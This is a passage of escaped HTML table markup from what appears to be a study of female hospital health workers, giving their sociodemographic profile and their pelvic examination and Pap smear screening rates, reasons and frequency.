style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">395</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">41,6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Divorced</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">20</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2,1</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Bachelor&rsquo;s Degree</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">284</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">29,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Department</strong></span></p>\r\n			</td>\r\n			<td style=\"width:33.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:33.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Master&rsquo;s Degree </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">135</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14,2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Polyclinic </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">249</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">26,2</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Above Master&rsquo;s Degree</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">101</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10,6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Service</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">291</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">30,6</span></p>\r\n			</td>\r\n			<td style=\"width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Occupation</strong></span></p>\r\n			</td>\r\n			<td style=\"width:27.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:31.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Intensive Care</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">105</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11,1</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Doctor</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">180</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Emergency</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">49</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5,2</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Nurse and Midwife</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">500</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">52,6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Nutrition and dietetics</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">9</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0,9</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Technicians</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">200</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">21,1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">PTR</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">22</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2,3</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:red\">*</span> Diet-PTR-BioPharma</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">70</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Laboratory</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">99</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10,4</span></p>\r\n			</td>\r\n			<td style=\"width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Age</strong></span></p>\r\n			</td>\r\n			<td style=\"width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">%</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Diagnostic imaging</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">42</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4,4</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">19-24 years old</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">195</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">20,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Operating Room</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">30</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3,2</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">25-29 years old</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">359</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">37,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Pharmacy</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0,4</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">30-34 years old</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">251</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">26,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Administrative Unit</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">26</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2,7</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">35-39 years old</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">95</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:114.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Primary Medical Unit</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">24</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:33.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2,5</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">40-44 years old</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">38</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:114.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:33.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:33.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:white; width:117.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">45 years old and older</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:27.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">12</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:31.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1,3</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1: </strong>Distribution of FHWs based on their Sociodemographic Attributes.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">According to the findings of the study, 37.8 % of FHWs are within the age group of 25-29 years and 26.4% are within the age group of 30-34 years; 30.6% are working at the service; 41.6% hold an associate&rsquo;s degree, 29.9% hold a bachelor&rsquo;s degree; 52.6% are nurses and midwives, 21.1% are technicians, 18.9% are doctors, 7.4% are in the group of dieticians, physiotherapists, biologists and pharmacists; and 54% are married.</span></p>\r\n\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#083c64; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Last Pelvic Examination</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Number</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">%</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Last Pap Smear Screening Test</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Number</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">%</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#083c64; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Pelvic Examination Status</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">n=950</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Pap Smear Screening Status</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">n=950</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Examined </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">459</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48,3</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Screened</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">185</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Unexamined</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">491</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51,7</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Unscreened</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">765</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">80,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Reason for Undergoing a Pelvic Examination</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=459</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:129.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Frequency of Having Pap Smear Screening Test</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=185</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Bleeding and Menstrual Irregularities</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">79</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17,2</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Once every 6 Months</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pain</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,5</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Once a Year</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pregnancy- and Birth-Related Reasons</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">224</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48,8</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Once in every 3-5 Years</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Genito-Urinary System Infections</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">56</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12,2</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">In case of a Complaint</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Family Planning Methods</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,9</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Requested by a Doctor</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">68</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Health Check-Ups</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">47</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10,2</span></p>\r\n			</td>\r\n			<td style=\"width:129.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Reasons for Having Pap Smear Screening Test</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=185</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Diagnosis after Pelvic Examination</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=459</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Regular Health Check-Ups</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cervical Erosion</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,6</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Requested by a Doctor</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">82</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44,3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cervicitis</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span 